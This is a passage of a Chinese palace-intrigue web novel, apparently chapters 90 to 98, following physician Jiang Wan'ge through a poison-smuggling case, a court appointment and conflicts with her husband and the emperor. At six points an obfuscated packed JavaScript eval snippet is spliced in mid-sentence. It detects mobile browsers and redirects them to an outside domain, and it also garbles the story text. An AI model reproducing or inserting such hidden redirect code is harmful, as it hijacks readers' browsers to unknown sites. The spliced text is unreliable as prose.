姜绾歌盯着他的反应,忽然想起青芦镇城隍庙的梁上,也曾有人用指甲刻过“安”字——那时她只当是流民随手写的,此刻却像根细针扎进太阳穴。 她记得镇北王的封地靠近西域,正是断肠藤的必经之路。 “安承的背后是谁?”侍郎往前半步,阴影笼罩住知县的脸,“别告诉我只是个幕僚。” 周文远突然发出咯咯的笑声,嘴角溢出白沫:“侍郎大人明知故问……镇北王的船队能在西北畅通无阻,靠的是谁的调兵令?” 他转头看向姜绾歌,眼里闪过疯狂的光,“姑娘不是聪明吗?猜猜看,当今朝堂上,谁的封号里带‘安’字?” 姜绾歌的指尖骤然收紧,银针在烛火下泛出冷光。 她想起镇北王的封号是“安北王”,封地在西北安定郡,更想起永盛商行的货船曾被目击停靠在镇北王的私港。 那些碎片突然在脑海里拼成完整的图景,让她后颈泛起凉意——原来毒草入中原的通道,是西北军镇的粮道。 “你敢把脏水泼到镇北王身上?”侍郎的声音里带着警告,手却不自觉地摸向腰间刻着“安”字的玉佩——那是早年镇北王亲赐的信物。 “我哪敢?”知县咳出一口血沫,“不过是实话实说……安承每次运货,船头都会挂‘安’字旗,和镇北王的帅旗一模一样——大人没见过吗?” 侍郎猛地转身,披风扫过烛台。火苗晃了几晃,在他脸上投下明暗交错的阴影。 “先押回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777480|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”侍郎的声音有些发闷,“今夜再审。” 子时三刻,牢里突然传来异响。姜绾歌刚合眼,就听见沈砚白急促的拍门声:“姜姑娘!知县吐白沫了!” 烛火重新亮起时,周文远正抽搐着在稻草里打滚,嘴角溢出的白沫带着诡异的青紫色。姜绾歌扯开他的嘴,一股苦杏仁味扑面而来:“是鹤顶红!快拿绿豆汤!” “来不及了。”侍郎按住她的手,“中了这毒,神仙也难救。” 知县突然抓住姜绾歌的手腕,指甲几乎掐进她皮肉:“姑娘……去安定郡……城北的义庄……第七根柱子下……有本账册……” 他瞳孔渐渐涣散,喉间发出咯咯的声响,“安承的车队……每月十五……借粮道运货……” “周文远!”姜绾歌晃着他的肩膀,“镇北王究竟要干什么?!” 话音未落,知县的手突然松开,眼球上翻,嘴角还挂着半句话没说完。 沈砚白举着灯笼凑近,照亮他扭曲的脸——那表情里既有解脱,也有恐惧,仿佛临死前看见了索命的鬼差。 “被灭口了。”侍郎蹲下身,摸出知县指间的半粒药丸,“蜡丸**,看来早有准备。” 姜绾歌盯着那粒药丸,忽然想起白日里给知县送饭的狱卒——那人腰间挂着镇北王亲赐的腰牌。 她猛地转头看向牢门,却只看见空荡荡的走廊,风从铁窗吹进来,卷着几片稻草掠过尸体。 “去查给知县送饭的人。”她站起身,拍了拍衣襟上的稻草,“还有,立刻派人去安定郡城北义庄。” 侍郎望着她发白的脸色,忽然开口:“姜姑娘,有些事……未必是你想的那样。” “哪样?”她转头看他,烛火在眼底晃出细碎的光,“是镇北王清白无辜,还是安承单凭一个幕僚就能私运毒草?” 她冷笑一声,“我曾经听别人提起,十年前西北蝗灾,镇北王私吞赈灾粮,饿死百姓两万余人——这些数字,大人可曾记得?” 第91章 回京 侍郎的脸色瞬间惨白,像是被人当胸打了一拳。 沈砚白不明所以地看着两人,却见姜绾歌从袖中摸出片干枯的草叶——正是从青芦镇死者胃里取出的断肠藤。 “这毒草产自西域,通过镇北王的西北粮道运进中原,再掺进官府的‘救命药’里。” 她将草叶碾成粉末,“周文远说每月初一烧账本,但西北粮道的通关文牒不会说谎——大人敢不敢和我赌一把,看看永盛商行的车队,是不是和镇北王的运粮队同进同出?” 侍郎沉默良久,终于伸手按在剑柄上:“明日一早,我亲自带人马去安定郡。” 他顿了顿,目光扫过知县的尸体,“但姜姑娘需答应我一事——若真查到什么……莫要轻举妄动。镇北王手握二十万大军,不是你我能轻易撼动的。” “我只看病,不参政。”姜绾歌转身走向牢门,“但病人若烂到了心肺,总得剜掉腐肉才能活命——大人说,是不是这个道理?” 丑时的刑部大牢外,沈砚白抱着药箱紧跟在姜绾歌身后。 夜风卷着黄沙掠过月亮,把他的影子切成两半,一半落在青砖上,一半悬在爬满青苔的墙上。 “姜姑娘,那知县最后说的‘安爷’……”他忍不住开口,“真的是镇北王?” “是不是,得看证据。” 姜绾歌摸出钥匙打开院门,屋檐下的灯笼被风吹得左右摇晃,在她脸上投下忽明忽暗的光影,“但有件事很清楚——永盛商行、西北粮道、镇北王府,都离不开一个‘安’字。” 三更梆子声穿透夜幕,姜绾歌推开小院门,忽见墙角不知何时多了三块堆叠成塔状的鹅卵石,最顶端的石头表面赫然用炭灰画着旋转的云纹——那是只有皇室暗卫才知晓的紧急记号。 她心头一紧,还未开口,阴影中便闪出个蒙着面的灰衣人。 对方单膝跪地,袖口金线绣着的蟠龙纹若隐若现:“卑职参见姜姑娘。皇上口谕——西北局势凶险莫测,望姑娘即刻随我返京,切勿擅自查案。” 姜绾歌皱眉:“皇上消息到时灵通,那么快就知道我要去安定郡?” “姑娘在青芦镇追查毒案时,早惊动了圣听。” 灰衣人摸出刻着「玄甲」二字的铜哨,“镇北王手握重兵,西北各处布满暗桩。皇上已命十二暗卫待命,但姑娘若执意涉险,恐难周全。” “可那些被当作试药人的百姓……”姜绾歌攥紧药箱,想起义庄密报里的惨状。 灰衣人递上一封密折:“太上皇不日即将返京。皇上特意嘱咐,姑娘若想拿到与靖王爷的和离书,唯有趁太上皇回宫主持大局时,才能争取。” “卑职已在西城门备好快马。”灰衣人见她攥紧密折,催促道,“子时三刻城门落锁前,我们必须出城。” 姜绾歌盯着墙角的云纹记号,指尖在药箱上敲出急促的节奏。青芦镇的瘟疫虽已控制,但镇北王的毒草仍有残留,若此刻离去,难保不会死灰复燃。 她抬头望向灰衣人面罩下的眼睛,沉声道:“我可以随你回京,但得先处理三件事:烧光镇内所有断肠藤、安置好重症病患、教会稳婆辨认毒草症状。” 灰衣人沉默片刻,抱拳道:“是,卑职等姑娘。” 次日清晨,姜绾歌带着沈砚白和暗卫们挨家挨户搜查毒草。 她蹲在王阿婆家灶台前,用银针挑开地板缝隙,果然搜出半袋晒干的断肠藤叶:“这种草晒干后呈深褐色,叶脉有锯齿状纹路,看见了就立刻烧掉。” 王阿婆攥着她的手,眼角还沾着泪痕:“姜大夫真要走?” 她拍了拍老人粗糙的手背,从药箱里摸出个布包:“里面是防瘟疫的香囊,每月初一换一次药材。”转身时看见李大叔拄着拐杖站在门口,脖颈的紫斑已褪成淡粉,身后跟着十几个拎着药锄的百姓。 “我们跟您去烧毒草!”李大叔晃了晃手里的锄头,“当年镇北王的粮车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777481|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从咱村口过,拉的说不定就是这害人的东西!” 一行人浩浩荡荡开到西山坡,将搜出的毒草堆成小山。姜绾歌划亮火折时,沈砚白忽然指着草堆喊:“快看!”只见断肠藤燃烧时腾起淡绿色的烟雾,在空中凝成诡异的形状,像极了镇北王府的狼首徽记。 “记住这颜色,”姜绾歌往火里撒了把石灰,“以后看见这种烟,立刻远离。” 三日后,姜绾歌背着药箱站在西城门。灰衣人牵来的马背上还驮着两大袋药材,正是她从青芦镇百姓手里收来的毒草样本。 “这些要送去太医院,”她拍了拍麻袋,“让他们知道什么叫西域毒草。” 灰衣人帮她扶稳药箱,低声道:“皇上已得知姑娘在青芦镇的事迹,太医院那帮老家伙早就坐不住了。” 马车驶入京城时,正是酉时三刻。 沿街百姓看见姜绾歌的药箱,纷纷围上来送花送果,喊着“神医姑娘”。 她掀开窗帘,看见街角茶楼上有个戴斗笠的人迅速转身,斗笠边缘露出的“安”字缎带——是镇北王的人。 “别管他们,”灰衣人按住剑柄,“先回刑部侍郎府。” 次日正午,姜绾歌随一众大夫走进金銮殿。 汉白玉台阶上,皇上坐在龙椅上。她注意到靖王爷站在东首,目光冷冷扫过她的药箱。 “此次青芦镇抗疫,诸位大夫劳苦功高。”皇上抬手示意,“先由刑部侍郎宣读功绩。” 侍郎展开奏折,声音洪亮:“青芦镇疫情爆发后,民间大夫姜绾歌首当其冲,不仅日夜研制解药、亲自试药救人,更不顾性命追查毒草源头,揭露幕后势力走私真相。” “她在城隍庙支起十口大锅熬药,连续三日不眠不休;为确认解毒配方,她以身试毒,在自己身上扎满银针记录症状;甚至孤身潜入毒贩窝点,搜出关键证据......” 底下的大夫们交头接耳,眼神里满是钦佩。 第92章 三个夫子抢人 有个年轻大夫小声感叹:“原来她就是青芦镇那位用银针试毒的奇女子?当真是女中豪杰!” 另一位年长的大夫点头:“我听说她为了救人,把自己当成活药方,浑身扎满**都不喊疼!” “可不是嘛!”角落里的大夫压低声音,“那些毒贩子被她追得四处逃窜,她却敢一个人闯进窝点查证据,连当地的地痞流氓见了她都绕道走!” 有位白胡子老大夫感慨地捋着胡须:“老朽行医四十年,从没见过这般胆大心细的医者!听说她还改良了紫雪丹的配方,原本只能救轻症患者,经她调整后,连重症病人都能起死回生,救活了成百上千的人!” 另一位中年大夫附和道:“她在城隍庙熬药时,为了让药效更快发挥,还想出用柴火猛煮、不停搅拌的法子。我徒弟的徒弟亲眼看见,她熬药时被蒸汽烫得满手水泡,却还是守在锅边不肯走!这样的魄力,咱们太医院的年轻人真该学学!” 姜绾歌跪在御阶下,身后议论声嗡嗡作响。青芦镇那些焦头烂额的日子突然清晰起来,好在疫情没白治,没白折腾。 皇上抬手打断议论:“姜绾歌上前听封。” 她踏过金砖,跪在御阶下。 余光看见太医院院正、左院判、右院判三人都往前倾着身子,脸上满是赞赏。 院正甚至微微颔首,眼神里带着惜才之意。 “朕封你为太医院首位女医正,”皇上笑道,“赐黄金百两、宅邸一座,另赏宫廷特制医书十卷。” “启禀皇上,”她叩首道,“民女别无所求,只望能在太医院开设毒理科室,专门研究西域毒草。” 殿内一片哗然,随即响起低声的赞许。太医院院正率先开口:“皇上,姜医正此举乃医者仁心!毒理一科若能建成,不仅能提升太医院医术,更能造福天下百姓!” 左院判也跟着点头:“老朽附议!若能破解西域毒草,往后遇到类似疫情,咱们也有应对之策,我太医院的医术定能更上一层楼!” 退朝后,姜绾歌刚走出宫门,就被三个老头拦住去路——正是太医院的三位大佬。 院正拄着雕花拐杖,快步上前,脸上堆满笑容:“姜医正啊,太医院的毒理典籍,老朽早就命人整理好了,整整十二间屋子的藏书,你随时能去看!要是缺什么人手,我立马给你调!” 左院判不甘示弱,拍着胸脯道:“我那徒孙刚从波斯回来,带了不少异域医书,还有用毒草治病的奇特方子。姑娘若不嫌弃,只管拿去研究!我那儿还有三十年的临床病例,对你研究毒理肯定有帮助!” 右院判更直接,拽着她的袖子就往太医院方向走:“走!老朽的药房里有三十年陈的赤阳藤,还有西域进贡的珍稀药材,正适合研究毒草配伍。你要是拜我为师,这些宝贝都归你用!” 她看着三人急切的模样,忍不住轻笑:三位大人如此抬爱,民女却有个不情之请——我学毒理不为别的,就为了救人。谁能帮我最快破解西域毒草的毒性,我就拜谁为师。 院正立刻接口:老朽曾随商队去过天竺,见过用异种草药解毒的法子。我把那些土着的方子都记在了本子上,正好能派上用场! 左院判不甘示弱:我钻研以毒攻毒之术十余年,去年刚琢磨出用微量蛇毒激发人体正气的法子。要是再配合姜医正的针法,定能攻克毒理难题! 右院判直接掏出本布面旧书:这是我父亲传给我的《百毒解》,里面记着九种西域毒草的解法。姑娘拿去,有任何疑问尽管来问我! 姜绾歌被三人半拖半请地往太医院走,路过御花园时,看见靖王爷站在假山旁,脸色铁青地盯着她。 她摸出袖中百姓送的平安符,冲他晃了晃——那上面绣着青芦镇百姓亲手缝的神医济世四个字,边缘还别着干枯的野菊花。 靖王爷脸色更难看,转身拂袖而去。 姜绾歌望着他的背影,想起青芦镇那些捧着药碗冲她笑的孩子,想起临死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777482|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前还攥着她衣角说谢谢大夫的老人,心中愈发坚定——比起和离书,她更想让这些鱼肉百姓的人知道,医者的银针既能救人,也能扎破他们的画皮。 而和离书,她迟早会拿到。 暮色沉沉地压进院子,姜绾歌刚踏进靖王府的角门,两团影子就扑了上来。 姑娘!青柠的簪子都跑歪了,绿竹更是一把抱住她的药箱,眼泪吧嗒吧嗒往下掉,您要是再不回来,我们就要去太医院要人了! 姜绾歌笑着捏了捏绿竹的脸:我这不是全须全尾地回来了? 她摘下沾着药渍的帷帽,忽闻青柠压低声音道:姜府捎信来了,小公子在县里书院很出息,前几日还得了"算学优等"的帖... 嘘!绿竹突然拽了拽青柠的袖子,目光瞥向廊下。 姜绾歌顺着看去,只见老梅树下站着个提灯笼的小丫鬟,正是她派去盯梢的暗桩。 姑娘先沐浴吧?青柠接过药箱,指尖在箱沿轻叩两下,灶上一直温着水,还煮了艾草...对了,前几日姜家有人递了信来,说药铺新收的学徒总记错秤星,小公子在家写信教了他们整宿呢。 姜绾歌指尖微顿。半年前那个在药铺打翻药罐的小魔王,如今竟能隔着百里教学徒了? 她正要开口,绿竹忽然从怀里掏出封信:这是...…前几日到的,说是老爷...… 姜绾歌迅速抽走信笺,扫了一眼就塞进袖袋:都散了吧,我乏了。 浴桶里的热气熏得人昏昏欲睡。 姜绾歌靠在桶沿,任由青柠帮她绞干长发,水面上飘着的艾草打着旋。 府里这段时间...她闭着眼问,可有什么动静? 青柠的手顿了顿:王爷那日从宫里回来,摔了套茶具。木梳划过发梢,后来再没来过咱们院子..…. 砰! 房门突然被踹开,冷风卷着落叶灌进来。 姜绾歌猛地睁眼,隔着屏风看见个修长人影。 第93章 男人又开始霸道了 滚出去。她沉声道。 靖王顾清舟非但没走,反而一脚踢翻了屏风。 烛光下,他眼底布满血丝,腰间玉佩撞在门框上,发出刺耳的声响。 姜绾歌!他一把攥住浴桶边缘,指节发白,你是不是觉得,顶着靖王妃的名头,就能为所欲为?! 水珠顺着姜绾歌的睫毛往下滴。她慢慢沉到水面下,只露出一双冷冰冰的眼睛。 看什么看?都出去!顾清舟扭头暴喝。青柠绿竹吓得一哆嗦,却站着没动。 去吧。姜绾歌从水里伸出手,青柠连忙递上寝衣。 她哗啦一声从浴桶站起来,水花溅在顾清舟脸上,一个旋转就把衣服套好了:你们先出去等我。 等丫鬟们退出去,她慢条斯理地系好衣带:现在能说了?王爷大驾光临,就为看这个? 顾清舟突然抓起妆台上的螺子黛,咔嚓一声捏成两截:私自参加瘟疫!混在男人堆里!还当什么女医正!他每说一句就逼近一步,你知不知道青芦镇**多少太医?! 姜绾歌赤脚踩在湿漉漉的地上,仰头看他:知道啊,所以我去了。 你…...他伸手想碰,却被一巴掌拍开。 我怎么了?姜绾歌系好衣襟,我不该救那些染病的百姓?不该接太医院的任命? 她突然笑了,还是说...王爷觉得我该像其他夫人一样,整天关在院里绣花等您临幸? 窗外咔嚓一声,像是谁踩断了树枝。顾清舟猛地回神,一把攥住她手腕:你明知我不是...…朝廷现在什么局势你不知道?多少双眼睛盯着靖王府! 姜绾歌挣了挣,没挣脱:松手。 不松!顾清舟反而握得更紧,你今天必须…... 啪! 一记耳光清脆响亮。顾清舟偏着头,脸上慢慢浮出指印。 清醒了吗?姜绾歌甩了甩发麻的手,不清醒我可以再打一巴掌。 顾清舟突然笑了。 他舔了舔嘴角,眼神阴鸷:打得好。 猛地将人按在妆台上,胭脂水粉哗啦啦洒了一地,既然王妃这么能耐,不如教教本王—— 他俯身在她耳边,热气喷在颈侧,怎么管住自己的女人? 姜绾歌屈膝就顶,被他侧身躲过。 两人在逼仄的净房里过了几招,最终她后背撞上屏风架子,疼得闷哼一声。 闹够了?顾清舟扣住她双手按在头顶,明日就去辞了太医院的差事。 凭什么? 就凭我是你夫君! 姜绾歌突然不动了。 她静静看着眼前暴怒的男人,轻声道:顾清舟,你当年娶我,不就是为了让我当个摆设吗? 她歪头,现在摆设有自己的想法了,您不习惯? 顾清舟像被烫到似的松开手。他退后两步,撞翻了铜盆,水漫过他的锦靴。 ..….父皇要回京了。他突然说。 姜绾歌正在揉手腕的动作一顿。 三日后到。顾清舟转身往外走,你好自为之。 姜绾歌盯着顾清舟离去的背影,揉手腕的指尖微微发抖。 三日后?这个时间在她心里反复敲打,竟生出几分快意。 她总算等到这天了,为了让和离的事情万无一失,她得做好万全之策。 青柠端着安神茶进来时,看见自家姑娘正对着铜镜往脖子上敷药。 烛光下,那些白天没留意的伤痕全都显了出来——手腕的淤青,肩头的擦伤,还有... 姑娘!青柠惊呼,这、这... 没事。姜绾歌把药膏扔回抽屉,去把我那套银针拿来。 绿竹红着眼睛递上针包:姑娘真要跟王爷闹这么僵?他刚才出去的时候,把院里的石灯都踢碎了... 姜绾歌捻起一根银针,在烛火上缓缓转动:你们觉得,我该听话辞官,回后院当金丝雀? 两个丫鬟齐齐摇头。 那不结了。银针寒光一闪,去睡吧,明日太医院还有三十份毒理案卷等着我看呢。 连日的疲惫像潮水般涌来,姜绾歌刚沾到枕头就沉沉睡去。 不知过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777483|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,脸上突然传来湿润的触感,像有人轻轻在她脸颊上落下吻。 她迷迷糊糊地挠了挠脸,翻个身又要睡,却被身后传来的暖意包裹住。 熟悉的龙涎香混着墨香钻进鼻尖,她猛地睁开眼,正对上顾明轩泛红的眼睛。 皇、皇上?她惊得要起身,却被紧紧圈在怀里。 顾明轩下巴抵着她发顶,声音哑得厉害:这么久没见了,你都不知道今天在大殿上见到你的那一刻,朕有多想你…… 他的手掌轻轻抚过她肩头的擦伤,谁伤的你? 姜绾歌僵着身子:皇上不该深夜擅闯臣妇的房间。 朕管不了那么多!顾明轩突然扳过她的脸,烛火映着他眼下的乌青,青芦镇的案子你冒险深入虎穴,你总把自己弄得遍体鳞伤! 他眼底布满血丝,显然几日未眠,你不知道这些天我有多怕,怕你真被疫情困在青芦镇…... 姜绾歌看着少年天子发红的眼眶,心里微颤:皇上何必...… 因为是你!顾明轩突然将她拽进怀里,玄色劲装的布料蹭着她擦伤的肩头,顾清舟若再敢拦着你做事,朕不介意让他知道得罪朕的后果。 窗外雷声轰隆,姜绾歌眉尖都没动一下,只伸手推了推他的胸膛:放开。 顾明轩松开手臂,却仍将她困在自己与床头之间:暗卫说你和他起了冲突? 他的声音低沉,带着不容置疑的压迫感,若是他敢伤你一根手指,朕会让整个顾府都付出代价。 不过是几句争执。姜绾歌别开脸,身上的伤是查案时弄的,与他无关。 查案?谁准你又去涉险?他扣住她的手腕,目光灼灼,朕的女人,不该在阴沟里打滚。 姜绾歌冷笑一声:皇上这是要囚禁我? 朕要你安全!顾明轩猛地将她抵在床头,呼吸灼热,和离的事朕会去办,但从明日起,你的每一个案子都要向朕报备。 见她要反驳,他加重语气,别忘了,整个太医院都是朕的人。 皇上就这么有把握太上皇会准和离? 第97章 教训二叔 姜绾歌跟着顾云霁穿过霁月楼的后院时,发现地上落着几片新鲜的梧桐叶。 她弯腰拾起一片,叶脉上沾着暗红痕迹。 血?她指尖一颤。 顾云霁头也不回:昨儿夜里审你二叔时溅的。他忽然转身,月光从梧桐叶间隙漏下来,在他脸上投下斑驳阴影,怎么,心疼了? 姜绾歌碾碎叶片冷笑:我心疼那些梧桐树。 地牢入口藏在假山后,两个侍卫正在石灯笼下打盹。顾云霁踹了脚青砖,机关转动声惊得侍卫慌忙跪地:公子! 楚殿下到了? 刚到。侍卫偷瞄姜绾歌,只是...... 顾云霁已经掀开藤蔓往里走。潮湿的霉味混着血腥气扑面而来,姜绾歌摸到袖中银针才定下心神。 姜绾歌站在地牢拐角的阴影处,远远看着被铁链锁住的二叔。他蜷缩在角落里,衣衫褴褛,右脸肿得老高,嘴里还骂骂咧咧的,似乎完全没意识到自己闯了多大的祸。 顾云霁靠在石壁上,似笑非笑地看着她:怎么,心软了? 姜绾歌收回目光,冷冷道:他死不足惜,但姜家不能再**了。 她跟着顾云霁继续往里走,最终停在一间石室前。烛火摇曳间,一道修长的身影背对着他们,正低头看着桌上的什么东西。 殿下。顾云霁懒洋洋地开口,人带来了。 那人缓缓转身,狐裘下的面容苍白如雪,却仍掩不住眉宇间的贵气。 姜姑娘。楚临风的声音低沉,带着几分病态的沙哑,我们又见面了。 姜绾歌微微颔首:殿下身体可好些了? 托姑娘的福,暂时死不了。他轻咳两声,指尖点了点桌上的羊皮卷,不过,寒蝉毒的解药方子,似乎不止一份。 姜绾歌眯起眼:殿下什么意思? 三日后,落枫集的黑市拍卖会上,有人要卖这张方子。楚临风抬眸,眼底冷意森然,而我要你,别让他们拿到真的。 姜绾歌心头一凛:殿下是想让我给假方子? 聪明。楚临风唇角微勾,这样,背后的人才会露出马脚。 姜绾歌沉默片刻,忽然笑了:殿下高看我了。我若给了假方子,对方发现后,第一个要杀的,恐怕就是我。 所以呢?楚临风慢条斯理地倒了杯茶,你想拒绝? 不。姜绾歌直视他的眼睛,我想请殿下先放了我二叔。 楚临风指尖一顿,茶盏停在半空:哦? 他不过是个被人利用的蠢货,留着也没用。姜绾歌语气平静,放了他,我保证三日后,拍卖会上流出的方子,绝对没人能用。 楚临风盯着她看了许久,忽然低笑出声:有意思。他转向顾云霁,你怎么看? 顾云霁把玩着扇子,漫不经心道:放个废物换姜姑娘全力相助,这买卖不亏。 楚临风沉吟片刻,终于点头:好。他抬手指向地牢深处,人你可以带走,但若三日后事情有变...... 殿下放心。姜绾歌打断他,眼神却飘向牢房方向,不过...还请殿下帮我个忙。 楚临风挑眉:哦? 姜绾歌从袖中取出一个小瓷瓶放在桌上:这是我特制的"黄粱散",服下后会让人做三天噩梦,梦到最害怕的事。 她指尖轻点瓶身,请殿下让我二叔服下这个再放人。 顾云霁唰地展开扇子,半掩着嘴角:姜姑娘这是要帮亲叔叔戒赌?倒是稀奇。 他这辈子最怕两件事。姜绾歌冷笑,一是鬼,二是讨债的。这药能让他把这两样梦个够。 楚临风突然伸手按住瓷瓶:这么有趣的药,不如先让本王开开眼? 顾云霁扇子一收:怎么,殿下也想试试? 本王只是好奇,楚临风苍白的手指摩挲着瓶身,能让赌鬼戒赌的药,到底有多厉害。 姜绾歌抱臂而立:殿下若不信,大可以找个人试试。 不必。楚临风突然低笑出声,将瓷瓶收入袖中,本殿倒要看看,这药能让他说出些什么来。 顾云霁用扇子轻点下巴:那可得记下来,说不定比戏文还精彩。 二位慢慢看戏。姜绾歌转身就走。 姜府。 月光透过破旧的窗棂,在青砖地上投下斑驳的影子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777487|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜绾歌拉着小淘蹲在西厢房的窗根下,透过破损的窗纸往里瞧。 阿姐...小淘刚想说话,就被姜绾歌捂住嘴。 屋内突然传来哐当一声巨响,紧接着是姜二叔撕心裂肺的惨叫:别过来!别过来!钱我都还!我都还啊! 透过窗缝,只见姜二叔披头散发地在屋里乱窜,把桌椅撞得东倒西歪。他拼命挥舞着双手,像是要赶走什么看不见的东西。 讨债的来了...他们来割手指头了!姜二叔突然跪在地上猛磕头,饶了我吧!我再也不敢了! 小淘吓得往姐姐怀里缩了缩:阿姐,二叔真的看见鬼了? 姜绾歌轻轻拍着弟弟的背:不是鬼,是"黄粱散"让他梦见最害怕的事。她眯起眼睛,看来二叔最怕的,是被人讨债。 屋里又传来咚的一声闷响。姜二叔一头撞在柱子上,捂着额头哀嚎:别割我手指!我发誓再也不赌了!要赌就让我天打雷劈! 院墙外,顾云霁摇着扇子对阴影处道:看见没?这才是真正的教训人。 楚临风从树后转出,狐裘上沾着夜露:她给的若是**,你也喝? 顾云霁啪地合上扇子,似笑非笑:那得看她给多少银子。 楚临风眯起眼:你什么时候开始缺钱了? 不缺钱。顾云霁用扇尖指了指屋内还在发疯的姜二叔,但缺这样的好戏看。 楚临风轻哼一声,忽然压低声音:那丫头不简单,你最好别玩过头。 殿下这是担心我?顾云霁挑眉,还是担心她坏了你的计划? 两人对视片刻,楚临风忽然笑了:我只是好奇,霁月楼楼主什么时候变得这么爱管闲事了? 彼此彼此。顾云霁转身往院外走,西陵三殿下不也亲自来看热闹? 楚临风望着顾云霁离去的背影,指尖轻轻碾碎那片梧桐叶。 有意思。他忽然低笑,堂堂靖王妃,竟能解了连御医都束手无策的寒蝉毒。 夜风骤起,吹散一地落叶。 楚临风望着姜家旧宅的灯火,眼中闪过一丝锐利的光芒:看来这位靖王妃,比传闻中要有趣得多。 第98章 肖医女** 晚上姜绾歌从姜府回到靖王府,刚迈进院子,丫鬟青柠就拿着披风迎上来:“小姐,夜里凉,快披上。” “三日后我要出趟远门,”姜绾歌解下头上的帷帽递给她,“帮我收拾两身轻便的衣裳,再把小药箱装满常用药材。” 青柠恭敬地应了声“是”,双手接过东西便去准备。 她做事利落,很快就将收拾好的衣物和药箱整齐摆放在屋里,又轻手轻脚地给姜绾歌端来热水,伺候她洗漱后,便安静退下。 太医院·清晨。 晨雾还未散尽,姜绾歌刚跨进西配殿门槛,就听见煎药房里传来刻意抬高的议论。 听说没?咱们这位王妃娘娘又要告假三日。尖细的女声像指甲刮过瓷碗,人家肖姑娘三年都没休过旬假呢。 嘘——另一个声音故作惊慌,人家可是治好了青芦镇瘟疫的神医,皇上亲封的女医官! 药碾子重重一磕:什么神医?不过是在**堆里捡了个功劳... 姜绾歌面无表情地穿过回廊,迎面撞上抱着医案的沈砚白。少年额头青筋暴起,崭新的学徒官服被攥得皱皱巴巴。 大人!他们... 血见愁研好了?姜绾歌打断他,声音不大不小正好让煎药房安静下来。 廊柱后转出个穿杏红比甲的姑娘,腰间银针囊叮当作响:姜大人来得正好,奴婢这儿有几个针灸问题请教。 肖医女故意把请教二字咬得极重,身后跟着三四个捂嘴偷笑的药童。 问。姜绾歌径自走向药柜。 听说大人三日后要出远门?肖医女指尖银针转得飞快,太医院规第七条,无故旷职三日者... 沈砚白突然把药柜拍得震天响:姜大人是奉了皇上口谕! 哎呦,好大的威风。圆脸药童阴阳怪气,沈公子攀上高枝就是不一样。 你!沈砚白猛地揪住对方衣领,当初青芦镇疫情,你们躲在家里装病时... 砚白。姜绾歌头也不回地配药,去库房取半斤雄黄。 肖医女趁机逼近:雄黄治疟疾,今日当值的可是跌打损伤... 给你用的。姜绾歌突然转身,药碾子咣当砸在两人之间的案几上,治口舌生疮。 药房里顿时炸开锅。圆脸药童尖叫:你骂谁呢! 谁应骂谁。沈砚白挡在姜绾歌身前,官帽都歪了。 肖医女银针寒光一闪:沈公子,太医斗殴可是要流放的... 都住手! 炸雷般的呵斥从门口传来,王院使铁青着脸站在晨光里。众人瞬间鸦雀无声,只有姜绾歌还在不紧不慢地包药。 姜大人。王院使盯着她手中的药包,解释。 雄黄二两,朱砂一钱。姜绾歌系好棉绳,治疯犬咬伤的药。 肖医女脸色瞬间惨白。圆脸药童跳起来:她骂我们是狗! 本官问的是这个吗?王院使突然暴喝,吓得小药童跌坐在地,太医院规第十三条,无故挑衅上官者该如何? 肖医女扑通跪下:院使明鉴,是姜大人先... 